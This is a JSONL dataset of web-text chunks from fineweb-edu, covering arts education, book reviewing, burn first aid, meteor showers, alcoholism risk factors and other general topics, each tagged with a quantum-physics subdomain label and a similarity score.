the era of tech - enabled information. for pink, leaders of the new economy will succeed through high concept and high touch, employing \u2018 the ability to create artistic and emotional beauty, to detect patterns and opportunities,", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5018159310535538, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.297339"} {"text": "supercedes both the industrial age and the era of tech - enabled information. for pink, leaders of the new economy will succeed through high concept and high touch, employing \u2018 the ability to create artistic and emotional beauty, to detect patterns and opportunities, to craft a satisfying narrative, to combine seemingly unrelated ideas into a novel invention \u2026. \u201d new york times columnist thomas friedman \u2026 agrees [ in the world is flat ], arguing that if one is to be a worker in the new global economy, you must \u2018 nurture your right - brain skills \u2026 \u2019 \u201d ivey concludes, \u201c old - fashioned, nineteenth century - style arts participation is a powerful incubator of creativity. \u201d if you have been following the reports coming from the national endowment for the arts, you will see data that seems to suggest that arts participation in the traditional, \u201c benchmark \u201d arts ( classical music and jazz, theatre, dance, literature, visual art ) is weakening, especially in the case of younger people. however, as ivey writes, \u201c if we center a new commitment to arts participation in everyday art making, creativity, and quality of life, we will not only restoire the lifelong pleasure of homemade art but will likely also seed a new generation of enthusiasts who will support america \u2019 s signature nonprofit cultural institutions well into the future. \u201d the < 100k project puts this commitment at the center of its mission. the leaders of the arts organizations that will be built must be interested not only in their own creative expression, but in facilitating and encouraging the creative expression of their fellow community - members, adults and children. this means a change inin the way these arts leaders are educated, creating a balance between development of their own artistic skills and development of the skills of faciltation and teaching. these leaders must make arts education a priority and not wait for the government to make a commitment to arts education in the schools \u2014 with no child left behind, this has become increasingly unlikely ( although president obama seems to have a commitment to increasing arts education \u2026 but he has an awful lot on his plate at the moment ). the future of the arts rests on our commitment to this part of our mission.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5249850786224963, "token_count": 438, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.298173"} {"text": "how to write a book review there are two approaches to book reviewing : - descriptive reviews give the essential information about a book. this is done with description and exposition, by stating the perceived aims and purposes of the author, and by quoting striking passages from the text. - critical reviews describe and evaluate the book, in terms of accepted literary and historical standards, and supports this evaluation with evidence from the text. the following pointers are meant to be suggestions for writing a critical review. to write a critical review, the reviewer must know two things : - knowing the work under review : this demands not only attempting to understand the author ' s purpose and how the component parts of the work contribute to that purpose, but also knowledge of the author : his / her nationality, time period, other works etc. - requirements of the genre : this means understanding the art form and how it functions. without such context, the reviewer has no historical or literary standard upon which to base an evaluation. - description of the book. sufficient description should be given so that the reader will have some understanding of the author ' s thoughts. this account is not a summary. it can be woven into the critical remarks. - discuss the author. biographical information should be relevant to the subject of the review and enhance the reader ' s understanding of the work under discussion. - appraise the book. a review must be a considered judgment that includes : - a statement of the reviewer ' s understanding of the author ' s purpose - how well the reviewer feels the author ' s purpose has been achieved - evidence to support the reviewer ' s judgement of the author ' achievement. while you read : - read the book with care. - highlight quotable passages. - note your impressions as you read. - allow time to assimilate what you read so that the book can be seen in perspective. - keep in mind the need for a single impression which must be clear to the reader. the review outline a review outline gives you an over - all grasp of the organization of the review, to determine the central point your review will make, to eliminate inessentials or irrelevancies, and to fill in gaps or omissions. - examine the notes you have made and eliminate those with no relationship to your central thesis. - by organizing your discussion topics into groups, aspects of the book will emerge : e. g., theme, character, structure, etc. - write down all the major headings of the outline and fill in the subdivisions. - all parts should support", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4223519153341301, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.304110"} {"text": "by organizing your discussion topics into groups, aspects of the book will emerge : e. g., theme, character, structure, etc. - write down all the major headings of the outline and fill in the subdivisions. - all parts should support your thesis or central point. - opening paragraphs set the tone of the paper. possible introductions usually make a statement about the : - authorial purpose - topicality of the work or its significance - comparison of the work to others by the same author or within the same genre - the body of the review logically develops your thesis. follow your outline or adjust it to further your argument. the aim should be to push your central point. put quoted material in quotation marks, or indented, and properly footnoted. - concluding paragraphs sums up or restates your thesis or it may make a final judgement regarding the book. do not introduce new information or ideas in the conclusion. revising the draft - allow time to elapse, at least a day, before starting your revision. - correct grammatical mistakes and punctuation as you find them. - read your paper through again looking for unity, organization and logical development. - if necessary, do not hesitate to make major revisions in your draft. - verify quotations for accuracy and check the format and content of references. - rule number one : do not give away the story! - from what sources are the characters drawn? - what is the author ' s attitude toward his characters? - are the characters flat or three dimensional? - does character development occur? - is character delineation direct or indirect? - what is / are the major theme ( s )? - how are they revealed and developed? - is the theme traditional and familiar, or new and original? - is the theme didactic, psychological, social, entertaining, escapist, etc. in purpose or intent? - how are the various elements of plot ( eg, introduction, suspense, climax, conclusion ) handled? - what is the relationship of plot to character delineation? - to what extent, and how, is accident employed as a complicating and / or resolving force? - what are the elements of mystery and suspense? - what other devices of plot complication and resolution are employed? - is there a sub - plot and how is it related to the main plot? - is the plot primary or secondary to some of the other essential elements of the story ( character, setting, style, etc. )? - what", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.48304331420032415, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.305063"} {"text": "are employed? - is there a sub - plot and how is it related to the main plot? - is the plot primary or secondary to some of the other essential elements of the story ( character, setting, style, etc. )? - what are the \" intellectual qualities \" of the writing ( e. g., simplicity, clarity )? - what are the \" emotional qualities \" of the writing ( e. g., humour, wit, satire )? - what are the \" aesthetic qualities \" of the writing ( e. g., harmony, rhythm )? - what stylistic devices are employed ( e. g., symbolism, motifs, parody, allegory )? - how effective is dialogue? - what is the setting and does it play a significant role in the work? - is a sense of atmosphere evoked, and how? - what scenic effects are used and how important and effective are they? - does the setting influence or impinge on the characters and / or plot? - does the book give a \" full - length \" picture of the subject? - what phases of the subject ' s life receive greatest treatment and is this treatment justified? - what is the point of view of the author? - how is the subject matter organized : chronologically, retrospectively, etc.? - is the treatment superficial or does the author show extensive study into the subject ' s life? - what source materials were used in the preparation of the biography? - is the work documented? - does the author attempt to get at the subject ' s hidden motives? - what important new facts about the subject ' s life are revealed in the book? - what is the relationship of the subject ' s career to contemporary history? - how does the biography compare with others about the same person? - how does it compare with other works by the same author? - with what particular period does the book deal? - how thorough is the treatment? - what were the sources used? - is the account given in broad outline or in detail? - is the style that of reportorial writing, or is there an effort at interpretive writing? - what is the point of view or thesis of the author? - is the treatment superficial or profound? - for what group is the book intended ( textbook, popular, scholarly, etc. )? - what part does biographical writing play in the book? - is social history or political history emphasized? - are dates used extensively, and if so, are they used intelligently? - is the", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4553870778189695, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.305992"} {"text": "a database is a searchable, organized collection of information. library databases are great tools for finding articles on specific topics because : you can access and search them on the internet, from the library \u2019 s website. they cover a wide range of topics. they are structured for finding information more precisely than online search engines. they offer citations to articles on topics related to your research needs. they index articles published in magazines, scholarly journals, newspapers, etc. they often contain links to the full text of the articles. while databases have different designs, most offer similar capabilities, and the skills you use to search one may be applied to others. when choosing a database, consider the following : subject : many databases specialize in a particular subject while others are more general and cover a wider range of topics. types of publications covered : some databases cover only periodical articles, while others may index books, government documents, conference proceedings, essays, etc. coverage dates : some databases do not cover years before the 1970s ; some index only more recent publications. read the database descriptions to determine the years of coverage. note : always log in to the library \u2019 s website before searching for information. begin by selecting the database you want to search. an excellent multidisciplinary database is academic search premier. to access academic search premier : - from the libraries ' website, click on the \" databases \" tab. type \" academic premier \" into the search box. - select \" academic search premier. \" from the \" basic search \" screen you will be able to perform keyword searching and limit your searches in several ways. click on the \" advanced search \" tab to perform more precise searches. scroll down to see several options for limiting your search. by clicking on the \" scholarly ( peer reviewed ) journals \" box, you can limit searches to only articles from scholarly publications. while you can limit searches to only those citations with full text available online, it is usually not necessary or a good idea to do this. even if academic search premier does not have a link to the full text of an article you can click on the ou link to article icon, which will connect you to the full text of the article if it is available in another database. click on the title of an article to view its full record, which will usually include a list of subject terms and an abstract ( summary ) of the article. academic search premier also provides options for e - mailing, printing, or saving articles and citations. to do this, you will need to add records to a folder. -", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.49475240013031135, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.309089"} {"text": "sensitive and can be susceptible to both \" sunburn \" and \" frostbite \". if a tree that has grown for many years in deep shade is suddenly exposed to hot sun ( when all the trees around it are cut down, for example ), the bark may become red and flake off, injuring the tree. in northern regions, a frost too late in the spring or too early in the fall can kill new bark tissue, as well as leaves and why is there such variation in the color and texture of bark? certain characteristics have obvious advantages in certain habitats. the thick, rough bark of pine trees withstands fire far better than the bark of oak trees, and therefore more pines survive the frequent fires in temperate coniferous forests. in other cases, the advantage of one type of bark over another is less well understood. smooth bark might take less energy to produce, or it might help to discourage the growth of moss and lichen. rough bark might be more effective in keeping wood - boring insects out. no one knows quite why the types of bark have evolved the way they have. one possibility is that the appearance of bark is not adaptive, and while all trees must have bark of one form or another, its exact color and texture are not particularly important. left : the bark on a ponderosa pine trunk. photo by maya walters.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4339075919677152, "token_count": 271, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.314083"} {"text": "author ( s ) : a. m. waked nanotechnology is considered to be the most important theoretical and applicative framework of human knowledge in the near future, breakthroughs are restricted to few applications. one is being the conservation and restoration of for the architecture profession nanotechnology will be able to change the way we build, and will greatly impact construction materials and their properties as well. however, materials will behave in many different ways as we are able to more precisely control their properties at nano - composites, which combine new nano - materials with more traditional ones and can be many times stronger than standard materials, and will dramatically improve the performance, durability, and strength to weight ratio of these materials. as materials gain such transient features architectural design and construction will evolve by transforming the essential properties of matter. this study of material is considered an emerging field, so this paper will retry to represent the most recent applications of nano materials of the conservation of nanotechnology, nano - materials, conservation. size : 1, 681 kb paper doi : 10. 2495 / str110481 the full article you can purchase the full text version of this article in adobe pdf format for the above price. please click the ' buy paper ' icon below to purchase this paper. this page to a colleague. this paper can be found in the following bookstructural studies, repairs and maintenance of heritage architecture xiibuy", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5942877880123045, "token_count": 289, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.318764"} {"text": "in europe, especially in germany, hoisting a swastika - emblazoned nazi flag is a crime. for decades after world war ii, people have hunted down and sought punishment for nazi murderers, who were responsible for the deaths of more than 20 million people. here \u2019 s my question : why are the horrors of nazism so well - known and widely condemned but not those of socialism and communism? what goes untaught \u2014 and possibly is covered up \u2014 is that socialist and communist ideas have produced the greatest evil in mankind \u2019 s history. you say, \u201c williams, what in the world are you talking about? socialists, communists and their fellow travelers, such as the wall street occupiers supported by our president, care about the little guy in his struggle for a fair shake! they \u2019 re trying to promote social justice. \u201d let \u2019 s look at some of the history of socialism and communism. what \u2019 s not appreciated is that nazism is a form of socialism. in fact, the term nazi stands for the national socialist german workers \u2019 party. the unspeakable acts of adolf hitler \u2019 s nazis pale in comparison with the horrors committed by the communists in the former union of soviet socialist republics and the people \u2019 s republic of china. between 1917 and 1987, vladimir lenin, josef stalin and their successors murdered and were otherwise responsible for the deaths of 62 million of their own people. between 1949 and 1987, china \u2019 s communists, led by mao zedong and his successors, murdered and were otherwise responsible for the deaths of 76 million chinese. the most authoritative tally of history \u2019 s most murderous regimes is documented on university of hawaii professor rudolph j. rummel \u2019 s website, at http : / / www. hawaii. edu / powerkills, and in his book \u201c death by government. \u201d how much hunting down and punishment have there been for these communist murderers? to the contrary, it \u2019 s acceptable both in europe and in the u. s. to hoist and march under the former ussr \u2019 s red flag emblazoned with a hammer and sickle. mao zedong has been long admired by academics and leftists across our country, as they often marched around singing the praises of mao and waving his little red book, \u201c quotations from chairman mao tse - tung. \u201d president barack obama \u2019 s communications director, anita dunn, in her june 2009 commencement address to st. andrews episcopal high school at washington national cathedral, said mao was one of her heroes. whether it \u2019", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.473120491262052, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.329020"} {"text": "##tions from chairman mao tse - tung. \u201d president barack obama \u2019 s communications director, anita dunn, in her june 2009 commencement address to st. andrews episcopal high school at washington national cathedral, said mao was one of her heroes. whether it \u2019 s the academic community, the media elite, stalwarts of the democratic party or organizations such as the naacp, the national council of la raza, green for all, the sierra club and the children \u2019 s defense fund, there is a great tolerance for the ideas of socialism \u2014 a system that has caused more deaths and human misery than all other systems combined. today \u2019 s leftists, socialists and progressives would bristle at the suggestion that their agenda differs little from those of nazi, soviet and maoist mass murderers. one does not have to be in favor of death camps or wars of conquest to be a tyrant. the only requirement is that one has to believe in the primacy of the state over individual rights. the unspeakable horrors of nazism didn \u2019 t happen overnight. they were simply the end result of a long evolution of ideas leading to consolidation of power in central government in the quest for \u201c social justice. \u201d it was decent but misguided earlier generations of germans \u2014 who would have cringed at the thought of genocide \u2014 who created the trojan horse for hitler \u2019 s ascendancy. today \u2019 s americans are similarly accepting the massive consolidation of power in washington in the name of social justice. if you don \u2019 t believe it, just ask yourself : which way are we headed tiny steps at a time \u2014 toward greater liberty or toward more government control over our lives? perhaps we think that we are better human beings than the german people who created the conditions that brought hitler to power. i say, don \u2019 t count on it. walter e. williams is a professor of economics at george mason university. his column is distributed by creators syndicate, 5777 w. century blvd., suite 700, los angeles, ca 90045.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.49068462352398556, "token_count": 411, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.330987"} {"text": "[ apia, samoa ] pacific island researchers will be trained in skills such as coastal hazard mapping as part of a programme to use science to make coastal communities safer and more resilient. the us $ 1. 3 - million programme is part of an expansion of the us national oceanic and atmospheric administration ( noaa ) coastal storms program ( csp ) into us - affiliated pacific islands, beginning next month ( october ) and led by the university of hawaii sea grant college program. dolan eversole, regional coordinator of the csp, told scidev. net that the programme is intended to support the development of tools, services and products to improve coastal hazard preparedness. an intensive two - week training course in the marshall islands has already taught local researchers to map hazards facing their communities, such as inundation from storm surges and tsunamis. one of the core missions is to provide a scientific basis for more effective decision - making on disaster management, eversole said. \" we hope to give decision - makers access to scientific information that will assist them in making decisions \u2014 for example, whether the decision - makers understand the current science behind sea level rise projections and the uncertainty associated with that. what is the science telling us, what does it mean, and what are the implications locally? \" one example is research on coastal erosion indicating that rates and trends in erosion are directly related to sea level rise. this will help the authorities decide how to respond to the erosion, he said. \" there is currently work going on in guam on storm surge modelling and tsunami inundation modelling in american samoa to understand what the vulnerabilities are to inundation events ; from that they develop evacuation plans. that ' s another example of how research can help inform emergency managers and decision - makers. \" the csp will be implemented in the next 2 \u2013 3 years, with those involved setting up partnerships with other agencies to ensure the programme ' s long - term sustainability. paul anderson, marine conservation analyst for the secretariat of the pacific regional environment programme, said the initiative should include pacific islands that are not associated with the united states. \" perhaps as a part of existing noaa initiatives in the region, noaa could look to provide this type of training to those other countries, since they all have similar coastal vulnerabilities, \" said anderson. \" underserved \" village communities should also be included, rather than focusing on cities such as fiji ' s capital suva, port vila in vanuatu and pago pago in american samoa,", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4506939998898998, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.336525"} {"text": "there are three levels of burns : first - degree burns affect only the outer layer of the skin. they cause pain, redness, and swelling. second - degree ( partial thickness ) burns affect both the outer and underlying layer of skin. they cause pain, redness, swelling, and blistering. third - degree ( full thickness ) burns extend into deeper tissues. they cause white or blackened, charred skin that may be numb. second degree burn ; first degree burn ; third degree burn burns can be caused by dry heat ( like fire ), wet heat ( such as steam or hot liquids ), radiation, friction, heated objects, the sun, electricity, or chemicals. thermal burns are the most common type. thermal burns occur when hot metals, scalding liquids, steam, or flames come in contact with your skin. these are frequently the result of fires, automobile accidents, playing with matches, improperly stored gasoline, space heaters, and electrical malfunctions. other causes include unsafe handling of firecrackers and kitchen accidents ( such as a child climbing on top of a stove or grabbing a hot iron ). burns to your airways can be caused by inhaling smoke, steam, superheated air, or toxic fumes, often in a poorly ventilated space. burns in children are sometimes traced to parental abuse. - pain ( the degree of pain is not related to the severity of the burn - - the most serious burns can be painless ) - peeling skin - red skin shock ( watch for pale and clammy skin, weakness, bluish lips and fingernails, and a drop in alertness ) - white or charred skin symptoms of an airways burn : - charred mouth ; burned lips - burns on the head, face, or neck - change in voice - difficulty breathing ; coughing - singed nose hairs or eyebrows - dark, carbon - stained mucus for minor burns - if the skin is unbroken, run cool water over the area of the burn or soak it in a cool water bath ( not ice water ). keep the area submerged for at least 5 minutes. a clean, cold, wet towel will also help reduce pain. - calm and reassure the person. - after flushing or soaking, cover the burn with a dry, sterile bandage or clean dressing. - protect the burn from pressure and friction. - over - the - counter ibuprofen or acetaminophen can help relieve pain and swelling. do not give children under 12 aspirin. once the skin has", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4634455218360069, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.347635"} {"text": "or clean dressing. - protect the burn from pressure and friction. - over - the - counter ibuprofen or acetaminophen can help relieve pain and swelling. do not give children under 12 aspirin. once the skin has cooled, moisturizing lotion also can help. - minor burns will usually heal without further treatment. however, if a second - degree burn covers an area more than 2 to 3 inches in diameter, or if it is located on the hands, feet, face, groin, buttocks, or a major joint, treat the burn as a major burn. - make sure the person is up to date on tetanus immunization. for major burns - if someone is on fire, tell the person to stop, drop, and roll. wrap the person in thick material to smother the flames ( a wool or cotton coat, rug, or blanket ). douse the person with water. - call 911. - make sure that the person is no longer in contact with smoldering materials. however, do not remove burned clothing that is stuck to the skin. - make sure the person is breathing. if breathing has stopped, or if the person ' s airways are blocked, open the airways. if necessary, begin rescue breathing and cpr. - cover the burn area with a dry sterile bandage ( if available ) or clean cloth. a sheet will do if the burned area is large. do not apply any ointments. avoid breaking burn blisters. - if fingers or toes have been burned, separate them with dry, sterile, nonadhesive dressings. - elevate the body part that is burned above the level of the heart. protect the burn area from pressure and friction. - take steps to prevent shock. lay the person flat, elevate the feet about 12 inches, and cover the person with a coat or blanket. however, do not place the person in this shock position if a head, neck, back, or leg injury is suspected or if it makes the person uncomfortable. - continue to monitor the person ' s vital signs until medical help arrives. this means pulse, rate of breathing, and blood pressure. - do not apply ointment, butter, ice, medications, cream, oil spray, or any household remedy to a severe burn. - do not breathe, blow, or cough on the burn. - do not disturb blistered or dead skin. - do not remove clothing that is stuck to the skin. - do", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.3751974835953553, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.350030"} {"text": "oil spray, or any household remedy to a severe burn. - do not breathe, blow, or cough on the burn. - do not disturb blistered or dead skin. - do not remove clothing that is stuck to the skin. - do not give the person anything by mouth, if there is a severe burn. - do not immerse a severe burn in cold water. this can cause shock. - do not place a pillow under the person ' s head if there is an airways burn. this can close the airways. call 911 if : - the burn is extensive ( the size of your palm or larger ). - the burn is severe ( third degree ). - you aren ' t sure how serious it is. - the burn is caused by chemicals or electricity. - the person shows signs of shock. - the person inhaled smoke. - physical abuse is the known or suspected cause of the burn. - there are other symptoms associated with the burns call a doctor if your pain is still present after 48 hours. call immediately if signs of infection develop. these signs include increased pain, redness, swelling, drainage or pus from the burn, swollen lymph nodes, red streaks spreading from the burn, or fever. also call immediately if there are signs of dehydration : thirst, dry skin, dizziness, lightheadedness, or decreased urination. children, elderly, and anyone with a weakened immune system ( for example, hiv ) should be seen right away. before giving first aid, evaluate how extensively burned the person is and try to determine the depth of the most serious part of the burn. then treat the entire burn accordingly. if in doubt, treat it as a severe burn. by giving immediate first aid before professional medical help arrives, you can help lessen the severity of the burn. prompt medical attention to serious burns can help prevent scarring, disability, and deformity. burns on the face, hands, feet, and genitals can be particularly serious. children under age 4 and adults over age 60 have a higher chance of complications and death from severe burns. in case of a fire, you and the others there are at risk for carbon monoxide poisoning. anyone with symptoms of headache, numbness, weakness, or chest pain should be tested. to help prevent burns : - install smoke alarms in your home. check and change batteries regularly. - teach children about fire safety and the hazards of matches and fireworks. - keep children from climbing on top of a stove or grabbing", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.40064427239837547, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.351014"} {"text": "pain should be tested. to help prevent burns : - install smoke alarms in your home. check and change batteries regularly. - teach children about fire safety and the hazards of matches and fireworks. - keep children from climbing on top of a stove or grabbing hot items like irons and oven doors. - turn pot handles toward the back of the stove so that children can ' t grab them and they can ' t be accidentally knocked over. - place fire extinguishers in key locations at home, work, and school. - remove electrical cords from floors and keep them out of reach. - know about and practice fire escape routes at home, work, and school. - set temperature of water heater at 120 degrees or less. singer aj, taira br, lee cc, soroff hs. thermal burns. in : marx ja, ed. rosen \u2019 s emergency medicine : concepts and clinical practice. 7th ed. philadelphia, pa : mosby elsevier ; 2009 : chap 60. gallagher jj, wolf se, herndon dn. burns. in : townsend cm jr, beauchamp rd, evers bm, mattox kl, eds. sabiston textbook of surgery. 18th ed. philadelphia, pa : saunders elsevier ; 2007 : chap 22. bethel ca, mazzeo as. burn care procedures. in : roberts jr, hedges jr, eds. clinical procedures in emergency medicine. 5th ed. philadelphia, pa : saunders elsevier ; 2009 : chap 38. holmes jh, heimbach dm. burns. in : brunicardi fc, andersen dk, billiar tr, et al, eds. schwartz \u2019 s principles of surgery. 9th ed. new york, ny : mcgraw - hill ; 2010 : chap 7. review date : 1 / 13 / 2010 reviewed by : jacob l. heller, md, mha, emergency medicine, virginia mason medical center, seattle, washington. also reviewed by david zieve, md, mha, medical director, a. d. a. m., inc. the information provided herein should not be used during any medical emergency or for the diagnosis or treatment of any medical condition. a licensed medical professional should be consulted for diagnosis and treatment of any and all medical conditions. call 911 for all medical emergencies. links to other sites are provided for information only - - they do not constitute endorsements of those other sites. \u00a9 1997 - 2009 a. d. a. m., inc. any du", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.407874182512324, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.352217"} {"text": "in a couple of nights, the best meteor shower of the year will sweep down on the high sierra, bringing stars to earth, as 60 to 80 meteors an hour streak across the sky. the geminid meteor shower, one of some half - dozen, annual, prominent meteor showers, begins in earnest in the very late evening of dec. 13, although many meteor lovers have been seeing impatient geminids for the past week. \u201c sometimes we just glance through the swarm of dust that creates meteor showers. sometimes we plow right through the middle of it. the geminid meteor shower is one of those times, \u201d said dan ruby, associate director for reno \u2019 s fleishman planetarium. meteors occur when particles from the dust swarm hit the earth \u2019 s atmosphere, burning through the friction in spectacular incandescence. the geminid meteors are so - called because they appear to originate from the constellation gemini, also called the twins, from what astronomers call the \u201c radiant point. \u201d how cool is that for a name? but appearances are deceiving in this case. ruby notes that almost the entire night sky will be filled with the meteors come the night of dec. 13. \u201c in this case, the dust swarm is very broad in shape, meaning the meteors will be coming from every possible direction, \u201d he said. the height of the show should be about midnight ( just after the moon sets ) on monday, dec. 13 to 2 a. m on tuesday, dec. 14. \u201c this is one of those \u201c stay up late, not get up early shows, \u201d ruby said. the meteors will be almost directly overhead in the eastern sierra, he said. the best place to watch them from is where buildings, mountains or trees do not block most of the sky. the geminids are one of astronomy \u2019 s big mysteries. most meteor showers come from comets, but not the contrary geminids. instead, they come from an asteroid named phaethon, which acts nothing like an asteroid and has confounded astronomers because such a brilliant and huge meteor shower should not be able to arise from this particular asteroid. and there \u2019 s more magic waiting for sky watchers in december, ruby said. on dec. 20, the night before the winter solstice \u2019 s full moon of dec. 21, a full lunar eclipse will be visible from the eastern sierra. but that \u2019 s another story for next week.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.40869833216395435, "token_count": 495, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.355549"} {"text": "a risk factor is anything that increases your likelihood of getting a disease or condition. it is possible to develop alcoholism with or without the risk factors listed below. however, the more risk factors you have, the greater your likelihood of developing alcoholism. if you have a number of risk factors, ask your doctor what you can do to reduce your risk. the following factors can increase your risk of alcoholism : alcohol abuse is five times more frequent in men than in women. men are more likely to be binge drinkers and alcoholics than women. however, the incidence of alcoholism in women has been on the rise in the past 30 years. women tend to become alcoholics later in life than men, but the condition has a faster progression in women. alcoholism tends to run in families. this has led researchers to conclude that a genetic predisposition to developing alcohol abuse problems may exist. the rate of alcoholism in men with no alcoholic parents is approximately 11 %. for men with one alcoholic parent, the rate of alcoholism is approximately 30 %. a family history of alcoholism is also seen in women, although the link is somewhat weaker. some studies suggest that genetic factors affecting the way people \u2019 s bodies process and respond to alcohol may also influence an individual \u2019 s risk of becoming an alcoholic. alcoholism is clearly more of a problem in some cultures than in others. for example, rates of alcoholism are high in europe and the united states where alcohol consumption is common and socially acceptable. in american culture, alcohol is often used as a social lubricant and a means of reducing tension. in religious groups, such as mormons or muslims who abstain from drinking alcohol, the incidence of alcoholism is minimal. higher rates of alcohol abuse and alcoholism are also related to peer pressure and easy access to alcohol. researchers have found that certain psychological factors increase an individual \u2019 s risk for alcohol abuse and alcoholism. these factors include having high self - expectations, having a low frustration tolerance, feeling inadequate and unsure of one ' s roles, needing an inordinate amount of praise and reassurance, and having a tendency to be impulsive and aggressive. researchers have found high rates of alcohol abuse disorders among people with anxiety disorders, depression, antisocial and other personality disorders, schizophrenia, and other substance abuse disorders, such as smoking and illicit drug use. people with attention deficit hyperactivity disorder also have a higher rate of alcoholism ( and other substance use disorders ), as do those with post - traumatic stress disorder. - reviewer : rosalyn carson - dewitt, md -", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.48307527850291504, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.360709"} {"text": "the quick 10 : 10 amazing discoveries by kids it \u2019 s all over the news the past couple of days : some astronomers spend a lifetime looking for a supernova, but a 10 - year - old - girl found one on her first try. here \u2019 s kathryn gray \u2019 s story and the stories of nine other talented ( or lucky ) kids who have made important discoveries at shockingly young ages. 1. kathryn gray was checking out some images her dad had taken on new year \u2019 s eve, comparing them to previous pictures of the same location to see if anything had changed. spotting a difference, she asked her dad if she had found a supernova. he told her it looked pretty good and sent the images off to be analyzed. it was confirmed the next day, making miss gray ( whose middle name is aurora, by the way ) the youngest person to ever discover a supernova. 2. matthew berger \u2019 s dad was working on an archaeological dig in south africa last april and brought nine - year - old matthew along for the ride. perhaps bored with his dad \u2019 s digging, matthew wandered about 15 yards away to do a little investigating of his own \u2013 and discovered the collarbone of a little boy roughly two million years older than him. it ended up being one of the most complete sets ever found, with another amazingly intact set believed to be the boy \u2019 s mother discovered right next to it. 3. some people dream of discovering a cache of ancient doubloons buried in the sand \u2013 this toddler actually did it. so it wasn \u2019 t exactly doubloons on a beach, but it was a 500 - year - old pendant worth about $ 4 million in a british field. james hyatt and his dad were out messing around with metal detectors in a field when james \u2019 detector \u201c went beep beep beep \u201d ( his words ), uncovering the rare find. 4. sometimes a nature walk turns up more than leaves and bugs. that was the case in 2009, when a preschooler in maynard, mass., was looking for cool rocks and found himself a plummet instead. archaeologists believe plummets were once used about 4, 000 years ago to weigh down fishing nets. marshall, the five - year - old who found it, was pretty impressed with its age : \u201c it \u2019 s like 70 years old. i wasn \u2019 t there. \u2026 [ maybe ] when they had it, there were dinosaurs and volcanoes! \u201d 5. most 15 - year - old boys are thinking about girls and", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.45333877199777783, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.367995"} {"text": "impressed with its age : \u201c it \u2019 s like 70 years old. i wasn \u2019 t there. \u2026 [ maybe ] when they had it, there were dinosaurs and volcanoes! \u201d 5. most 15 - year - old boys are thinking about girls and driver \u2019 s licenses \u2026 and ok, 15 - year - old tony hansberry probably thinks of those too, but when he \u2019 s not, he \u2019 s discovering a medical technique to make hysterectomies less invasive. hansberry, a student at the darnell cookman school of the medical arts, found a way to do post - surgery stitching that would lessen the chance of harm or risk to the patient. 6. chlorofluorocarbons ( cfcs ) are bad news for the environment. luckily, 13 - year - old larry caduada is on the case. in 2006, larry found that a substance in celery called selinene that can be used as a coolant instead of the environmentally - unfriendly freon. he even published a paper about it called \" selinene : an organic alternative to chlorofluorocarbon as coolant and refrigerant. \u201d 7. giving kathryn gray competition in the 